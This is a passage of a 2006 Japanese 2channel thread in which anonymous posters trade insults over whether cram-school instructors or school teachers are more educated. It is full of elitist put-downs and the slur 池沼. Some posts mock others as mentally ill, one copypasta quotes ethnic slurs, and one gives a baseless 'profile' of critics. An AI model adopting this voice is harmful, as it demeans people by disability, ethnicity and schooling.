935 :実習生さん:2006/12/26(火) 16:50:33 ID:OKMaaM2o
学校の教員は優秀だよ。というか、俺は優秀な教師しか今までに当たった事がないから、
教師がダメとか言われてもピンとこないな、そう言われてもよく分かんないや。
今思えば、予備校講師のほうが低学歴だと思うけど。学歴見ても関関同立とかいう糞みたいな
私立大学の講師ばっかりじゃん。
そういえば、ここにいる人って学校の先生と親交ないの?
俺は未だに親交あるよ。まだまだ先の事だけど俺の結婚式にも
先生呼ぶつもり〜。どこがどう教師がダメなのか理解不能。
でもほんと、どこかの外国に迷い込んだような感じのスレだよ。
本当に日本?って感じもしないでもないよ。
卒業後、浪人した時に職員室に調査書取りに行った時も、
出世祝いとかいって調査書料金無料とかw、いろいろ冗談も言い合ったり、
志望大学の受験対策の最終チェックしてくれたり、ほんと良い先生だったよ。
俺が恵まれていたのかな。

936 :実習生さん:2006/12/26(火) 17:03:07 ID:sX/y4ZWt
ちょっと聞いてくれ。
俺は学研教室でバイトやってる学生なんだが、昨日算数で
「銀行に預けた1000円を金利20%で4回回したとするといくらに増える?」
みたいな問題をやっていたんだ。

そしたら短大卒で小学校の2種の教員免許持っている女の講師(こっちが室長)が
なんと、

1000×1、2×4

って計算しやがったんだよ。マジ?

短大卒だから馬鹿ってことはないよなって思ったけど、昨日は本当に
腹が立った。
お前はその程度の頭で子どもの前で偉そうにしているのか、と。
つーか、いくら金利2割でも元金が5倍近くになるかっての。

短大卒と大卒の人間に能力差ってあります?

937 :実習生さん:2006/12/26(火) 18:25:20 ID:8ILyRXVd
まあなんだかんだいっても
学校教師ってレベルが低いのは確かだしね。
同じ先生でも
駅弁レベルの医者なんていないけど、
駅弁レベルの教師ってごまんといる。

938 :実習生さん:2006/12/26(火) 18:31:44 ID:Spww8d4e
>駅弁レベルの医者なんていないけど

939 :実習生さん:2006/12/26(火) 18:45:43 ID:mMuXK+DC
>>938
間違ってないだろ、一般的に駅弁レベルとはできないくんレベルのことだから。
どこの駅弁も医学部の最低合格者点>>∞>>教育学部のトップ合格者じゃん。


940 :実習生さん:2006/12/26(火) 19:53:51 ID:8rtwWrCG
>>936
別に塾の講師なんて誰でもなれるんだから
そういうヘンなのがいても、おかしくないだろう。
しょせん、一部の人気講師以外、アルバイトに毛の生えたレベルが大半。
ただし、大手予備校の「組織力」そのものは、すごいけどね。
ここの「せんせい」の力で見れば、アベレージは、比べるべくもない。

941 :実習生さん:2006/12/26(火) 21:36:37 ID:MxI+wVBV
>>940
ち○カス君は講師にはなれませんけど・・・

942 :実習生さん:2006/12/26(火) 22:17:56 ID:Spww8d4e
教師になりたくて教育学部>>>超えられない壁>>>>>>塾講師にしかなれなかった落ちこぼれ

943 :本人努力:2006/12/26(火) 22:49:48 ID:oO9VogM6
宮廷で塾講師ですが…就職蹴りました。
楽しいですよ、毎日。


944 :実習生さん:2006/12/26(火) 22:51:01 ID:xXmFWaTY
>>942
なら
国を守りたくて自衛隊=教師になりたくて教育学部
だな。
お前らがやってるのは、単なる肉体労働だと気付けよ

945 :実習生さん:2006/12/26(火) 22:55:50 ID:xXmFWaTY
>>935
>学歴見ても関関同立とかいう糞みたいな私立大学の講師ばっかりじゃん。
官官同率も駅弁も同レベルだろ。
僻地駅弁だと日東駒専レベルじゃね?

>俺は未だに親交あるよ。まだまだ先の事だけど俺の結婚式にも
>先生呼ぶつもり〜。どこがどう教師がダメなのか理解不能。
お前高卒か?
先生呼ぶなら大学の先生呼べよ。
それとも、大学の先生は旧帝出身でコンプがあるから呼べないってかww

946 :実習生さん:2006/12/26(火) 23:06:55 ID:xXmFWaTY
>>929
東京大学卒業生就職先 99〜03年度 (東京大学出版会調べ)

塾・予備校 43人
私立高校 1人(滝学園)
公立高校 0人wwwww

947 :実習生さん:2006/12/26(火) 23:27:43 ID:Spww8d4e
やりたい仕事をやれるのが人生の勝ち組だ。

いちいち指摘されないと分からないのか。

まぁ塾講師じゃ自分の現実に向き合えない罠www
可哀相。

948 :本人努力:2006/12/26(火) 23:40:44 ID:oO9VogM6
ならば勝ち組です。
やりたい仕事をしていますよ。


949 :実習生さん:2006/12/26(火) 23:42:38 ID:xXmFWaTY
>>947
だからそれなら自衛隊だって教師と同レベルになるんだよ。
読解力ないのか、池沼教師は。

950 :実習生さん:2006/12/27(水) 01:08:24 ID:28JK0cqI
>>935
学校の教員は優秀だよ。

主な就職先<教育学科(初等教育学専攻)>
東京都教育庁、神奈川県教育庁、千葉県教育庁、栃木県教育委員会、栃木県教育委員会、長野県教育委員会、北海道教育庁、さいたま市教育委員会、横浜市教育委員会、川崎市教育委員会、長岡和光幼稚園、こまどり幼稚園、レオパレス21

やっぱり教育学部教育学科はちゃんと勉強して先生になっているね。
うん、こんな先生なら安心だね。駅弁とか馬鹿にするなっちゅうの。
あれ、駅弁じゃないの?
帝大?帝京、帝京大学・・・
    /\___/ヽ   ヽ
   /    ::::::::::::::::\ つ
  . |  ,,-‐‐   ‐‐-、 .:::| わ
  |  、_(o)_,:  _(o)_, :::|ぁぁ
.   |    ::<      .::|あぁ
   \  /( [三] )ヽ ::/ああ
   /`ー‐--‐‐―´\ぁあ

951 :実習生さん:2006/12/27(水) 02:16:23 ID:9ky4djj+
>>949
だから、仕方がなく塾講師にしかなれなかった君たちは糞だということ。
素で読解力がない池沼塾講師は笑えないぜ、まじで。


952 :実習生さん:2006/12/27(水) 02:16:48 ID:tdLkpuAK
学校の先生の方が予備校の講師より勉強出来ない…
教師に問題聞いたら分からんて言われたよ
頼りになるのは講師だ

953 :実習生さん:2006/12/27(水) 02:32:01 ID:RQAQLc4y
てか予備校講師が学校教師より勉強できなかったら
他になんの取り柄があるというの

954 :実習生さん:2006/12/27(水) 03:27:32 ID:9etdqEhX
>>951
それならば、仕方なく駅弁に行ったお前らは論外だな。
クソどころか、社会のゴミ。
生徒に迷惑かける前に、早く首でもつれ。

955 :実習生さん:2006/12/27(水) 03:49:05 ID:9ky4djj+
>>954
ゆとり世代ですか?
やはり読解力が落ちてるんだな〜。
嘆かわしいことだ。

956 :実習生さん:2006/12/27(水) 03:55:14 ID:9etdqEhX
>>955
どこがどう読解力ないのか示してもらおうか、
その学校教師の「教え方の上手さ」とやらでなwww




ちなみに2ちゃんで「ゆとり」って言葉を使う奴は総じてDQN

957 :実習生さん:2006/12/27(水) 04:01:00 ID:28JK0cqI
>>955
低学歴駅弁専業ベテランプロ教師=反面教師
高学歴バイト講師=実用的教師
現実から目をそらすなよ、バイトに決まってんだろうがw
駅弁のくせに読解力とか誤魔化すな。

低学歴のくせに。駅弁のくせに。大学名聞かれて顔が引きつるくせに
生徒より馬鹿なくせにwwwwww

お前らが教師になったのは、中卒がガテンを読んで現業職から選ぶのと同じ理由。
駅弁だとまともな企業は相手にしてくれないから田舎の役場か警官・教師の脳筋系
職業・地元の零細企業しか選択肢がないだろうがよw



958 :実習生さん:2006/12/27(水) 04:51:20 ID:9ky4djj+
お前らが塾講師になったのは、中卒がガテンを読んで現業職から選ぶのと同じ理由。
DQNだとまともな企業は相手にしてくれないから
塾講師しか選択肢がないだろうがよw


959 :実習生さん:2006/12/27(水) 05:17:11 ID:28JK0cqI
>>956
>どこがどう読解力ないのか示してもらおうか、
>その学校教師の「教え方の上手さ」とやらでなwww
になぜ答えないのですか?

>現実から目をそらすなよ、バイトに決まってんだろうがw
と書いているのにバイトと就職をなぜ混同するするのでか?

>低学歴のくせに。駅弁のくせに。大学名聞かれて顔が引きつるくせに
>生徒より馬鹿なくせにwwwwww
なぜこれを否定できないのですか?

なぜ高学歴一流大生・院生をDQNと妄言できるのですか?
他人の文の改悪で煽って逃げるしかできないのは駅弁の痴性を示しているのですか?

きちんと答えてくださいね。



960 :実習生さん:2006/12/27(水) 05:30:35 ID:9ky4djj+
はいはい釣りワロスwww

悔しかったら早く塾講師以外で就職してみろよwwwww

961 :実習生さん:2006/12/27(水) 05:37:23 ID:JRFtuIWp
塾講師以外で医師になる予定です
教師になる予定はありません

962 :実習生さん:2006/12/27(水) 07:02:53 ID:/SjpNTmC
↑ブッ!東大卒大学院修了で、目指すは医者?嘘を上塗り、妄想は
とどめを知らないんだね。1日中2chanに張りついでないでさぁ、
まずねぇ、ニート引きこもりを卒業して、一刻も早く仕事を見つ
けてくださいね。

963 :実習生さん:2006/12/27(水) 07:10:38 ID:/SjpNTmC
追伸
もう少しでこのスレも1000いくので新スレ建てる時には、
「必死ニートクンとその仲間たち」っていうスレタイにしてね。

964 :答えろよ低学歴駅弁:2006/12/27(水) 09:51:35 ID:rk0R1eNQ
>どこがどう読解力ないのか示してもらおうか、
>その学校教師の「教え方の上手さ」とやらでなwww
になぜ答えないのですか?

>現実から目をそらすなよ、バイトに決まってんだろうがw
と書いているのにバイトと就職をなぜ混同するするのでか?

>低学歴のくせに。駅弁のくせに。大学名聞かれて顔が引きつるくせに
>生徒より馬鹿なくせにwwwwww
なぜこれを否定できないのですか?

なぜ高学歴一流大生・院生をDQNと妄言できるのですか?
他人の文の改悪で煽って逃げるしかできないのは駅弁の痴性を示しているのですか?

きちんと答えてくださいね。


965 :実習生さん:2006/12/27(水) 11:01:16 ID:hM2iYCQY
子どもが好きで学生時代は
塾講師とか児童センターとか、子どもに関わるバイトばっかり
やってました。
就職活動でも2つ塾の内定もとったけど、
何十年後のことを考えて、泣く泣く地方のテレビ局への就職しました。

在学中は毎日のように子どもに接していたのに、就職した途端急に
会えなくなってしまいました。
毎日、子どもに会いたくてしょうがないです。

こんな人間もいますってことで、ひとつよろしく。

966 :実習生さん:2006/12/27(水) 13:57:06 ID:btUNnOgx
>「必死ニートクンとその仲間たち」っていうスレタイにしてね。

 久しぶりに2ちゃんで笑えたよ。

967 :本人努力:2006/12/27(水) 13:58:00 ID:JRFtuIWp
コテハンつけるの忘れてました。
妄想ではなく医学生ですよ。


968 :実習生さん:2006/12/27(水) 14:37:42 ID:btUNnOgx
努力氏は本物の医学生ですよ。


969 :実習生さん:2006/12/27(水) 14:51:33 ID:sNm0a9je
>>964
●書き込みの内容が低俗だから
●自分に自信があったらこんなところに来て他人様を煽りに来ないから
●一流大学に入っていながら過去ばかり誇りにして未来に目が向いていないから

970 :実習生さん:2006/12/27(水) 14:54:16 ID:dCxHa3D0
Not in Education, Employment or Training
のはずですが、ニートの定義は。
万年サンダルジャージの教師は理解力がないですね。

971 :実習生さん:2006/12/27(水) 14:55:31 ID:dCxHa3D0
>>969
1.2.3.4.と質問があるけどあんたどれにも答えてないね。

972 :実習生さん:2006/12/27(水) 15:29:35 ID:sNm0a9je
きちんと答えを用意しないと理解できないようじゃ実社会で通用しないよ。

どうしても聞きたけりゃその発問の重要性をきちんと説得すること。
そうしたら答えてあげるよ。

973 :実習生さん:2006/12/27(水) 15:33:12 ID:dCxHa3D0
>>971
そうやって遁走ですか。
実社会に出たこともないくせに先生と呼ばれる方は違いますね。
きちんと質問に答えられないから生徒にも馬鹿にされるんですよ。
答えないんじゃなくて、答えられないんでしょ、いつも授業やっているみたいにさ。

974 :実習生さん:2006/12/27(水) 16:30:49 ID:sNm0a9je
>>973
じゃあ私の質問にも答えてくれますね

975 :実習生さん:2006/12/27(水) 16:31:15 ID:btUNnOgx
>>969
全く同感です。そのとおり!

976 :実習生さん:2006/12/27(水) 16:35:22 ID:sNm0a9je
>>973
実社会に出ないで先生って、まさに予備校講師。
公務員の守秘義務もなければ保護者や管理職との軋轢もない、
学歴社会の狭間に細々と生きる徒花。

977 :実習生さん:2006/12/27(水) 17:01:49 ID:9/pvGb7m
社会  てよく言うけど  社会って何?
皆、見てる景色は違うと思うけどね。

978 :実習生さん:2006/12/27(水) 18:40:08 ID:JSVkk9rK
>>977
駅弁にとっては、自分とその周りってことだろ。
自分よりはるか上位の層については、見ることも知ることもできないで
妄想オナニー。
駅弁って怖いよね。

979 :実習生さん:2006/12/27(水) 19:15:47 ID:f1rq8VM2
>>978
もう少しでこのスレも終了しますが、よくもここまで引っぱったね。
駅弁っていう言葉、何回使いました?最初にこのスレに入った時には
多少イラッときましたが、あなたとの時間を共有しているうちに親近
感すらわく今日この頃です。最後に一つだけ言っておきますが、本当
の高学歴は相手を見下すことはあってもそれを表面には出さないよう
にします。相手にしないというか、君子危うきに近寄らずというか。
必死に攻撃する時点で同等か、それ以下なのね。覚えておいてね。
あなたが一刻も早く仕事を見つけて、自己実現することを願っています。

980 :実習生さん:2006/12/27(水) 19:35:17 ID:dCxHa3D0
>>974
だから話そらすな。

>>976
そりゃバイトは実社会に出ているとはいえないね。
まぁ駅弁教師よりは生徒の役に立っているがw

しかしまぁ
もしかしてここの教師って塾講が一人で
「低学歴駅弁無能教師」
と言っているとでも思っているのかね?
何度もバイトだと書いてるのに仕事見つけろだとよw
匿名だからこそここまで本音を書けるんだよ。
実世界とネットの掲示板を同一視しないでくれ。
初めのうちは駅弁教師なんてそんなにいないだろう、と思ったら駅弁ばっか。
勉強できない駅弁生が人に勉強教えようなんてよく思ったね。何を考えているのやら。
奨学金返済しなくていいからとかそんな理由のおっさん連中が多いようなのは気のせい?


981 :実習生さん:2006/12/27(水) 20:13:40 ID:RIW7wFas
まあ、公立の教師なら「社会人」といえるが
バイトくんでは半人前扱いにしかされないなあ。
そういった社会的なことを知らないで何か言っても
失笑を招くだけなんだけど…

借金できるのは、消費者金融だけだろ?


982 :実習生さん:2006/12/27(水) 20:15:43 ID:f1rq8VM2
>>980
あなたも同じ「おっさん」世代じゃん。「教師としての職務」を
きちんと理解してからレスしないと恥をかくよ。勿論学習指導が
本分。他にも学級担任、校務分掌、部活指導、教育相談、進路指導
・・・指導可能ですか?

983 :実習生さん:2006/12/27(水) 20:28:18 ID:e9bQMNzF
【ネット右翼】ねっとうよく=劣等感や不安感が異常に強く、
そのため職業右翼や右派カルトにだまされて、洗脳・マインドコントロールされ
年がら年中、ネット上でやれ「チョンだ!チャンコロだ!在日だ!反日ブサヨクだ!特亜だ!三国人だ」などと
煽り立ててラリっている頭の逝かれたネット中毒症患者たち
(嫌韓ネタなどを横断板大量マルチコピペして荒らすなどの習性を有する輩が多いことから、
2chでは「嫌韓厨」と呼称されることもある。
また、2ちゃんねる管理人博之氏は、2ちゃんねるにおける「職業右翼」による工作活動を指摘している)
彼らは異常に劣等感や不安感が強いため「大いなるもの(国家、神、民族等)と一体化」し、かつ
自分たちより「下」だとみなす異端者やマイノリティーを憎悪・差別しないと
精神のバランスが保たれなくなっている。
これは、ネットウヨ厨・ネットウヨクの類だけでなく、右派カルト信者や職業右翼の類にもみられる傾向。
(参考:2ちゃん辞典)


984 :実習生さん:2006/12/27(水) 21:39:56 ID:dmRlTaeW
>>980
あんた、相当嫌な思い出があるんだろうな。
 精神障害になってるよ。
 原因は昔の担任か?

985 :実習生さん:2006/12/27(水) 21:52:05 ID:f1rq8VM2
多くの公立学校教師を相手に一人でよく立ち回っているねえ。
恨み?僻み?トラウマ?コンプレックス?
入口(大学入試時)と出口(大学卒業)の学力を変わらないとでも
思っているのだろうか?4年間の努力次第では相当変わるのにねえ。

986 :実習生さん:2006/12/27(水) 21:53:09 ID:46DZSnbx
>>979
リアルで見下さない代わりに2ちゃんでバカにするんだろうが。
リアルとネットの区別つけようね。

987 :実習生さん:2006/12/27(水) 21:57:21 ID:f1rq8VM2
>>986
君ねえ、東大のスレに行ってごらんなさいよ。自分達が1番と
思っているから、他の大学にはまったく興味を示さないよ。

988 :実習生さん:2006/12/27(水) 23:46:26 ID:UZXyx7VZ
>>981
学校教師って借金しなければならないほど金ないのww
かわいそーww

>>985
>多くの公立学校教師を相手に一人でよく立ち回っているねえ。
いい加減妄想癖治した方がいいよ。
ID見れば分かるが、塾講師は1人ではない。
お前の方こそ4回もレスして必死なわけだが、自分の行為や周囲の状況を
認識できないのかな?
早く精神病院行け。

>>987
東大生は、確かに他の大学に興味を示さない。
でも、東大未満は全部クズだと思ってるから。
興味示すも何も、駅弁なんて論外なのは共通認識なので議論の余地がないってこと。

989 :実習生さん:2006/12/28(木) 00:15:31 ID:uMnP6xs6
>>988
スレ主なの?

990 :実習生さん:2006/12/28(木) 00:26:01 ID:U7MRWSR4
このスレに二松学舎大学出身の塾の方か教員の方いますか?

991 :実習生さん:2006/12/28(木) 00:35:15 ID:vrb24hs5
昔は塾といえば人格破綻者、社会不適応者、反社会性人格障害傾向、
就職恐怖症、発達障害、性格異常な類の人間が塾講師をやっていて、
まあ、どちらかというと暗い商売だったが、今は少しは違うのか?


992 :実習生さん:2006/12/28(木) 00:40:30 ID:yaoQTKXh
>>991
ヒキコもってないで、「社会」に出てみたら?

993 :実習生さん:2006/12/28(木) 00:52:00 ID:hQoBk7uC
【教員を叩いている人物像(プロファイリング)】

年齢/14〜20歳未満(思春期後期) <断じて成人ではない>

性格/基本的に暗い(恐怖感を感じれば攻撃的な特徴も併せ持つ)

体験/激しい教員に対する憎悪、恨みがある(過去、現在において成績不良・登校拒否などの問題を必ず抱えている)

身長/160cm〜172cm前後

学歴/高校中退、単位制高校在籍者、通信制高校在学者(一般的な高校は卒業していない事だけは確かである)

状況/無職・引きこもり。常に何かに抑圧されている。欲求不安状態。

家庭環境/レベルは低学歴家庭。親との関係はうまくいっていない。




994 :実習生さん:2006/12/28(木) 01:26:49 ID:yaoQTKXh
>>993
で、根拠は?
その書き込み自体が教師の学歴コンプと妄想癖を表してるわけだが。

995 :実習生さん:2006/12/28(木) 03:08:09 ID:LVA1E9Ft
>>993

医学部入るどころか受けることすらできないルサンチマン駅弁教師のプロファイリング能力などこの程度ですねwww
しかし、進路指導とか担任業務とか笑えるなwwww
お前に進路指導されたら駅弁まっしぐら。

996 :実習生さん:2006/12/28(木) 03:13:46 ID:LVA1E9Ft
>>981
あとさぁ、ただのバイトじゃなくて、院生・学生・OD・資格試験勉強中の気分転換用バイトですが?
その息抜き授業に負けるクソ授業する教師って何?高校レベルだとまともな授業できるやつなんて1握り。
構文分析使った英文解釈も、物理公式の展開法も、微積の意味も教えずにただ覚えろときたもんだw


997 :実習生さん:2006/12/28(木) 03:57:09 ID:yaoQTKXh
このスレを通して、教師の学力の低さと精神年齢の低さ、
そして強烈な学歴コンプレックスが明らかになったわけだが。

998 :実習生さん:2006/12/28(木) 04:00:21 ID:yaoQTKXh
>>996
「情熱」とやらを使い果たしても駅弁にしか入れなかった教師に、
高校の授業が務まるわけがない。
そもそも高校の勉強=大学受験勉強で負けて駅弁になってしまったんだから。

999 :実習生さん:2006/12/28(木) 04:01:41 ID:yaoQTKXh
999

1000 :実習生さん:2006/12/28(木) 04:03:49 ID:yaoQTKXh
以上より、
スレタイ通り学歴も学力も 塾講師>>>学校教師 ということでFA

1001 :1001:Over 1000 Thread
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もう書けないので、新しいスレッドを立ててくださいです。。。

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